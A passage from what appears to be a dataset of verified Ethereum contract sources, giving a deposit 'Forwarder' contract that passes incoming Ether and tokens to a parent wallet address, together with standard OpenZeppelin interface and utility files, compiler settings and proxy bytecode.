instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
|
1 | 19,502,261 |
dd0554e6a0200721d1990c04fea7d1855b41483a9f9d0942812e36e53dc5a19a
|
2caa6f3a6cc855d46c90a4e862b188f23f9f5b696185513461df2b2a51d49f13
|
41ed843a086f44b8cb23decc8170c132bc257874
|
29ef46035e9fa3d570c598d3266424ca11413b0c
|
b1ea5bb7116fe53af3d616fdd8e47d1d084a9f2b
|
3d602d80600a3d3981f3363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d735397d0869aba0d55e96d5716d383f6e1d8695ed75af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"contracts/Forwarder.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n 